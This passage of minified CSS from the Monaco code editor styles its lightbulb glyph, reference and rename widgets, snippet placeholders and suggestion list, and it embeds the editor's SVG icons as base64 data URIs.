.lightbulb-glyph.hidden{display:none;visibility:hidden}.monaco-editor .lightbulb-glyph:hover{cursor:pointer}.monaco-editor.vs .lightbulb-glyph{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAwIDAgMTYgMTYiIGhlaWdodD0iMTYiIHdpZHRoPSIxNiI+PHBhdGggZmlsbD0iI0Y2RjZGNiIgZD0iTTEzLjUgNC4yQzEzLjEgMi4xIDEwLjggMCA5LjMgMEg2LjdjLS40IDAtLjYuMi0uNi4yQzQgLjggMi41IDIuNyAyLjUgNC45YzAgLjUtLjEgMi4zIDEuNyAzLjguNS41IDEuMiAyIDEuMyAyLjR2My4zTDcuMSAxNmgybDEuNS0xLjZWMTFjLjEtLjQuOC0xLjkgMS4zLTIuMyAxLjEtLjkgMS41LTEuOSAxLjYtMi43VjQuMnoiLz48Zz48ZyBmaWxsPSIjODQ4NDg0Ij48cGF0aCBkPSJNNi41IDEyaDN2MWgtM3pNNy41IDE1aDEuMWwuOS0xaC0zeiIvPjwvZz48cGF0aCBmaWxsPSIjZmMwIiBkPSJNMTIuNiA1YzAtMi4zLTEuOC00LjEtNC4xLTQuMS0uMSAwLTEuNC4xLTEuNC4xLTIuMS4zLTMuNyAyLTMuNyA0IDAgLjEtLjIgMS42IDEuNCAzIC43LjcgMS41IDIuNCAxLjYgMi45bC4xLjFoM2wuMS0uMmMuMS0uNS45LTIuMiAxLjYtMi45IDEuNi0xLjMgMS40LTIuOCAxLjQtMi45em0tMyAxbC0uNSAzaC0uNlY2YzEuMSAwIC45LTEgLjktMUg2LjV2LjFjMCAuMi4xLjkgMSAuOXYzSDdsLS4yLS43TDYuNSA2Yy0uNyAwLS45LS40LTEtLjd2LS40YzAtLjguOS0uOS45LS45aDMuMXMxIC4xIDEgMWMwIDAgLjEgMS0uOSAxeiIvPjwvZz48cGF0aCBmaWxsPSIjRjBFRkYxIiBkPSJNMTAuNSA1YzAtLjktMS0xLTEtMUg2LjRzLS45LjEtLjkuOXYuNGMwIC4zLjMuNy45LjdsLjQgMi4zLjIuN2guNVY2Yy0xIDAtMS0uNy0xLS45VjVoM3MuMSAxLS45IDF2M2guNmwuNS0zYy45IDAgLjgtMSAuOC0xeiIvPjwvc3ZnPg==\") 50% no-repeat}.monaco-editor.hc-black .lightbulb-glyph,.monaco-editor.vs-dark .lightbulb-glyph{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAwIDAgMTYgMTYiIGhlaWdodD0iMTYiIHdpZHRoPSIxNiI+PHBhdGggZmlsbD0iIzFFMUUxRSIgZD0iTTEzLjUgNC4yQzEzLjEgMi4xIDEwLjggMCA5LjMgMEg2LjdjLS40IDAtLjYuMi0uNi4yQzQgLjggMi41IDIuNyAyLjUgNC45YzAgLjUtLjEgMi4zIDEuNyAzLjguNS41IDEuMiAyIDEuMyAyLjR2My4zTDcuMSAxNmgybDEuNS0xLjZWMTFjLjEtLjQuOC0xLjkgMS4zLTIuMyAxLjEtLjkgMS41LTEuOSAxLjYtMi43VjQuMnoiLz48Zz48ZyBmaWxsPSIjQzVDNUM1Ij48cGF0aCBkPSJNNi41IDEyaDN2MWgtM3pNNy41IDE1aDEuMWwuOS0xaC0zeiIvPjwvZz48cGF0aCBmaWxsPSIjRERCMjA0IiBkPSJNMTIuNiA1YzAtMi4zLTEuOC00LjEtNC4xLTQuMS0uMSAwLTEuNC4xLTEuNC4xLTIuMS4zLTMuNyAyLTMuNyA0IDAgLjEtLjIgMS42IDEuNCAzIC43LjcgMS41IDIuNCAxLjYgMi45bC4xLjFoM2wuMS0uMmMuMS0uNS45LTIuMiAxLjYtMi45IDEuNi0xLjMgMS40LTIuOCAxLjQtMi45em0tMyAxbC0uNSAzaC0uNlY2YzEuMSAwIC45LTEgLjktMUg2LjV2LjFjMCAuMi4xLjkgMSAuOXYzSDdsLS4yLS43TDYuNSA2Yy0uNyAwLS45LS40LTEtLjd2LS40YzAtLjguOS0uOS45LS45aDMuMXMxIC4xIDEgMWMwIDAgLjEgMS0uOSAxeiIvPjwvZz48cGF0aCBmaWxsPSIjMjUyNTI2IiBkPSJNMTAuNSA1YzAtLjktMS0xLTEtMUg2LjRzLS45LjEtLjkuOXYuNGMwIC4zLjMuNy45LjdsLjQgMi4zLjIuN2guNVY2Yy0xIDAtMS0uNy0xLS45VjVoM3MuMSAxLS45IDF2M2guNmwuNS0zYy45IDAgLjgtMSAuOC0xeiIvPjwvc3ZnPg==\") 50% no-repeat}.monaco-editor .zone-widget .zone-widget-container.reference-zone-widget{border-top-width:1px;border-bottom-width:1px}.monaco-editor .zone-widget .zone-widget-container.reference-zone-widget.results-loaded{transition:height .1s ease-in}.monaco-editor .reference-zone-widget .inline{display:inline-block;vertical-align:top}.monaco-editor .reference-zone-widget .messages{height:100%;width:100%;text-align:center;padding:3em 0}.monaco-editor .reference-zone-widget .ref-tree{line-height:22px;font-size:13px}.monaco-editor .reference-zone-widget .ref-tree .reference{text-overflow:ellipsis;overflow:hidden}.monaco-editor .reference-zone-widget .ref-tree .reference-file{display:flex;justify-content:space-between;align-items:center}.monaco-editor .reference-zone-widget .monaco-count-badge{margin-right:.5em;height:15px;padding:0 .5em .5em}.monaco-editor.hc-black .reference-zone-widget .ref-tree .reference-file{font-weight:700;display:flex;justify-content:space-between}.monaco-editor .rename-box{z-index:7;color:inherit}.monaco-editor .rename-box .rename-input{padding:4px}.monaco-editor.vs .snippet-placeholder{background-color:rgba(10,50,100,.1)}.monaco-editor.hc-black .snippet-placeholder,.monaco-editor.vs-dark .snippet-placeholder{background-color:hsla(0,0%,49%,.1)}.monaco-editor.vs .finish-snippet-placeholder{outline:1px solid rgba(10,50,100,.5)}.monaco-editor.hc-black .finish-snippet-placeholder,.monaco-editor.vs-dark .finish-snippet-placeholder{outline:1px solid #525252}.monaco-editor .suggest-widget{z-index:4;width:430px}.monaco-editor .suggest-widget>.details,.monaco-editor .suggest-widget>.message,.monaco-editor .suggest-widget>.tree{width:100%;border-style:solid;border-width:1px;box-sizing:border-box}.monaco-editor.hc-black .suggest-widget>.details,.monaco-editor.hc-black .suggest-widget>.message,.monaco-editor.hc-black .suggest-widget>.tree{border-width:2px}.monaco-editor .suggest-widget.docs-side{width:660px}.monaco-editor .suggest-widget.docs-side>.details,.monaco-editor .suggest-widget.docs-side>.tree{width:50%;float:left}.monaco-editor .suggest-widget.docs-side.list-right>.details,.monaco-editor .suggest-widget.docs-side.list-right>.tree{float:right}.monaco-editor .suggest-widget>.message{padding-left:22px}.monaco-editor .suggest-widget>.tree{height:100%}.monaco-editor .suggest-widget .monaco-list .monaco-list-row{display:flex;-mox-box-sizing:border-box;box-sizing:border-box;padding-right:10px;background-repeat:no-repeat;background-position:2px 2px;white-space:nowrap}.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents{flex:1;height:100%;overflow:hidden;padding-left:2px}.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main{display:flex;overflow:hidden;text-overflow:ellipsis}.monaco-editor .suggest-widget:not(.frozen) .monaco-highlighted-label .highlight{font-weight:700}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>.header>.close,.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.readMore{opacity:.6;background-position:50%;background-repeat:no-repeat;background-size:70%;cursor:pointer}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>.header>.close{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iIzQyNDI0MiIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\");float:right;margin-right:5px}.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.readMore{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZD0iTTggMWMtMy44NjUgMC03IDMuMTM1LTcgN3MzLjEzNSA3IDcgNyA3LTMuMTM1IDctNy0zLjEzNS03LTctN3ptMSAxMmgtMnYtN2gydjd6bTAtOGgtMnYtMmgydjJ6IiBmaWxsPSIjMUJBMUUyIi8+PHBhdGggZD0iTTcgNmgydjdoLTJ2LTd6bTAtMWgydi0yaC0ydjJ6IiBmaWxsPSIjZmZmIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>.header>.close:hover,.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.readMore:hover{opacity:1}.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.type-label{margin-left:.8em;flex:1;text-align:right;overflow:hidden;text-overflow:ellipsis;opacity:.7}.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.type-label>.monaco-tokenized-source{display:inline}.monaco-editor .suggest-widget.docs-below .monaco-list .monaco-list-row.focused>.contents>.main>.readMore,.monaco-editor .suggest-widget.docs-side .monaco-list .monaco-list-row.focused>.contents>.main>.readMore,.monaco-editor .suggest-widget.docs-side .monaco-list .monaco-list-row.focused>.contents>.main>.type-label,.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.readMore,.monaco-editor .suggest-widget .monaco-list .monaco-list-row>.contents>.main>.type-label{display:none}.monaco-editor .suggest-widget .monaco-list .monaco-list-row.focused>.contents>.main>.readMore,.monaco-editor .suggest-widget .monaco-list .monaco-list-row.focused>.contents>.main>.type-label{display:inline}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon{display:block;height:16px;width:16px;background-repeat:no-repeat;background-size:80%;background-position:50%;background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDEwYzAgMi4yMDUtMS43OTQgNC00IDQtMS44NTggMC0zLjQxMS0xLjI3OS0zLjg1OC0zaC0uOTc4bDIuMzE4IDRIMHYtMS43MDNsMi0zLjQwOFYwaDExdjYuMTQyYzEuNzIxLjQ0NyAzIDIgMyAzLjg1OHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0xMiAxdjQuNzVBNC4yNTUgNC4yNTUgMCAwIDAgNy43NSAxMGgtLjczMkw0LjI3NSA1LjI2OSAzIDcuNDQyVjFoOXpNNy43NDcgMTRMNC4yNjkgOCAuNzQ4IDE0aDYuOTk5ek0xNSAxMGEzIDMgMCAxIDEtNiAwIDMgMyAwIDAgMSA2IDB6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.constructor,.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.function,.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.method{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1wdXJwbGV7ZmlsbDojNjUyZDkwfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE1IDMuMzQ5djguNDAzTDguOTc1IDE2SDguMDdMMSAxMS41ODJWMy4zMjdMNy41OTUgMGgxLjExOEwxNSAzLjM0OXoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0xMi43MTUgNC4zOThMOC40ODcgNy4wMiAzLjU2NSA0LjI3Mmw0LjU3OC0yLjMwOSA0LjU3MiAyLjQzNXpNMyA1LjEwMmw1IDIuNzkydjUuNzA1bC01LTMuMTI1VjUuMTAyem02IDguNDM0VjcuODc4bDQtMi40OHY1LjMxN2wtNCAyLjgyMXoiIGlkPSJpY29uRmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tcHVycGxlIiBkPSJNOC4xNTYuODM3TDIgMy45NDJ2Ny4wODVMOC41MTcgMTUuMSAxNCAxMS4yMzNWMy45NUw4LjE1Ni44Mzd6bTQuNTU5IDMuNTYxTDguNDg3IDcuMDIgMy41NjUgNC4yNzJsNC41NzgtMi4zMDkgNC41NzIgMi40MzV6TTMgNS4xMDJsNSAyLjc5MnY1LjcwNWwtNS0zLjEyNVY1LjEwMnptNiA4LjQzNFY3Ljg3OGw0LTIuNDh2NS4zMTdsLTQgMi44MjF6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.field{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6IzAwNTM5Y308L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0wIDEwLjczNlY0LjVMOSAwbDcgMy41djYuMjM2bC05IDQuNS03LTMuNXoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik05IDFMMSA1djVsNiAzIDgtNFY0TDkgMXpNNyA2Ljg4MkwzLjIzNiA1IDkgMi4xMTggMTIuNzY0IDQgNyA2Ljg4MnoiIGlkPSJpY29uQmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTkgMi4xMThMMTIuNzY0IDQgNyA2Ljg4MiAzLjIzNiA1IDkgMi4xMTh6IiBpZD0iaWNvbkZnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.event{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYWN0aW9uLW9yYW5nZXtmaWxsOiNjMjdkMWF9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTQgMS40MTRMOS40MTQgNkgxNHYxLjQxNEw1LjQxNCAxNkgzdi0xLjIzNEw1LjM3MSAxMEgyVjguNzY0TDYuMzgyIDBIMTR2MS40MTR6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLW9yYW5nZSIgZD0iTTcgN2g2bC04IDhINGwyLjk4NS02SDNsNC04aDZMNyA3eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.operator{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6IzAwNTM5Y308L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xIDF2MTRoMTRWMUgxem02IDEySDN2LTFoNHYxem0wLTNIM1Y5aDR2MXptMC01SDV2Mkg0VjVIMlY0aDJWMmgxdjJoMnYxem0zLjI4MSA4SDguNzE5bDMtNGgxLjU2M2wtMy4wMDEgNHpNMTQgNUg5VjRoNXYxeiIgaWQ9Imljb25CZyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWZnIiBkPSJNNyA1SDV2Mkg0VjVIMlY0aDJWMmgxdjJoMnYxem03LTFIOXYxaDVWNHpNNyA5SDN2MWg0Vjl6bTAgM0gzdjFoNHYtMXptMy4yODEgMWwzLTRoLTEuNTYzbC0zIDRoMS41NjN6IiBpZD0iaWNvbkZnIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiLz48L3N2Zz4=\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.variable{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfS5pY29uLXZzLWZne2ZpbGw6I2YwZWZmMX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiMwMDUzOWN9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTEgM3YxLjAxNUw4LjczMyAyLjg4MiA1IDQuNzQ5VjNIMHYxMGg1di0xLjg1OWwyLjE1NiAxLjA3N0wxMSAxMC4yOTVWMTNoNVYzaC01eiIgaWQ9Im91dGxpbmUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMiA1djZoMnYxSDFWNGgzdjFIMnptMTAgNnYxaDNWNGgtM3YxaDJ2NmgtMnoiIGlkPSJpY29uQmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTcuMTU2IDcuMTU2bC0xLjU3OC0uNzg5IDMuMTU2LTEuNTc4IDEuNTc4Ljc4OS0zLjE1NiAxLjU3OHoiIGlkPSJpY29uRmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWFjdGlvbi1ibHVlIiBkPSJNOC43MzMgNEw0IDYuMzY3djMuMTU2TDcuMTU2IDExLjFsNC43MzMtMi4zNjdWNS41NzhMOC43MzMgNHpNNy4xNTYgNy4xNTZsLTEuNTc4LS43ODkgMy4xNTYtMS41NzggMS41NzguNzg5LTMuMTU2IDEuNTc4eiIgaWQ9ImNvbG9ySW1wb3J0YW5jZSIvPjwvc3ZnPg==\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.class{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYWN0aW9uLW9yYW5nZXtmaWxsOiNjMjdkMWF9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTYgNi41ODZsLTMtM0wxMS41ODYgNUg5LjQxNGwxLTEtNC00aC0uODI4TDAgNS41ODZ2LjgyOGw0IDRMNi40MTQgOEg3djVoMS41ODZsMyAzaC44MjhMMTYgMTIuNDE0di0uODI4TDEzLjkxNCA5LjUgMTYgNy40MTR2LS44Mjh6IiBpZD0ib3V0bGluZSIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWFjdGlvbi1vcmFuZ2UiIGQ9Ik0xMyAxMGwyIDItMyAzLTItMiAxLTFIOFY3SDZMNCA5IDEgNmw1LTUgMyAzLTIgMmg1bDEtMSAyIDItMyAzLTItMiAxLTFIOXY0bDIuOTk5LjAwMkwxMyAxMHoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.interface{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtZmd7ZmlsbDojZjBlZmYxfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6IzAwNTM5Y308L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xMS41IDEyYy0xLjkxNSAwLTMuNjAyLTEuMjQxLTQuMjI4LTNoLTEuNDFhMy4xMSAzLjExIDAgMCAxLTIuNzM3IDEuNjI1QzEuNDAyIDEwLjYyNSAwIDkuMjIzIDAgNy41czEuNDAyLTMuMTI1IDMuMTI1LTMuMTI1YzEuMTY1IDAgMi4yMDEuNjM5IDIuNzM3IDEuNjI1aDEuNDFjLjYyNi0xLjc1OSAyLjMxMy0zIDQuMjI4LTNDMTMuOTgxIDMgMTYgNS4wMTkgMTYgNy41UzEzLjk4MSAxMiAxMS41IDEyeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTExLjUgOUExLjUwMSAxLjUwMSAwIDEgMSAxMyA3LjVjMCAuODI2LS42NzMgMS41LTEuNSAxLjV6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMS41IDRhMy40OSAzLjQ5IDAgMCAwLTMuNDUgM0g1LjE4NUEyLjEyMiAyLjEyMiAwIDAgMCAxIDcuNWEyLjEyMyAyLjEyMyAwIDEgMCA0LjE4NS41SDguMDVhMy40OSAzLjQ5IDAgMCAwIDMuNDUgMyAzLjUgMy41IDAgMSAwIDAtN3ptMCA1Yy0uODI3IDAtMS41LS42NzMtMS41LTEuNVMxMC42NzMgNiAxMS41IDZzMS41LjY3MyAxLjUgMS41UzEyLjMyNyA5IDExLjUgOXoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.struct{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYWN0aW9uLWJsdWV7ZmlsbDojMDA1MzljfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTkgMTRWOEg3djZIMVYyaDE0djEySDl6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMCA5aDR2NGgtNFY5em0tOCA0aDRWOUgydjR6TTIgM3Y0aDEyVjNIMnoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.type-parameter{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojZjZmNmY2fS5pY29uLXZzLW91dHtmaWxsOiNmNmY2ZjZ9Lmljb24tdnMtYmd7ZmlsbDojNDI0MjQyfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTEwLjcwMiAxMC41bDItMi0yLTIgLjUtLjVIMTB2NWgxdjNINXYtM2gxVjZINC43OThsLjUuNS0yIDIgMiAyTDMgMTIuNzk3bC0zLTNWNy4yMDFsMy0zVjJoMTB2Mi4yMDFsMyAzdjIuNTk2bC0zIDMtMi4yOTgtMi4yOTd6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik00IDNoOHYyaC0xdi0uNWMwLS4yNzctLjIyNC0uNS0uNS0uNUg5djcuNWMwIC4yNzUuMjI0LjUuNS41aC41djFINnYtMWguNWEuNS41IDAgMCAwIC41LS41VjRINS41YS41LjUgMCAwIDAtLjUuNVY1SDRWM3pNMyA1LjYxNUwuMTE2IDguNSAzIDExLjM4M2wuODg0LS44ODMtMi0yIDItMkwzIDUuNjE1em0xMCAwbC0uODg0Ljg4NSAyIDItMiAyIC44ODQuODgzTDE1Ljg4NCA4LjUgMTMgNS42MTV6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row 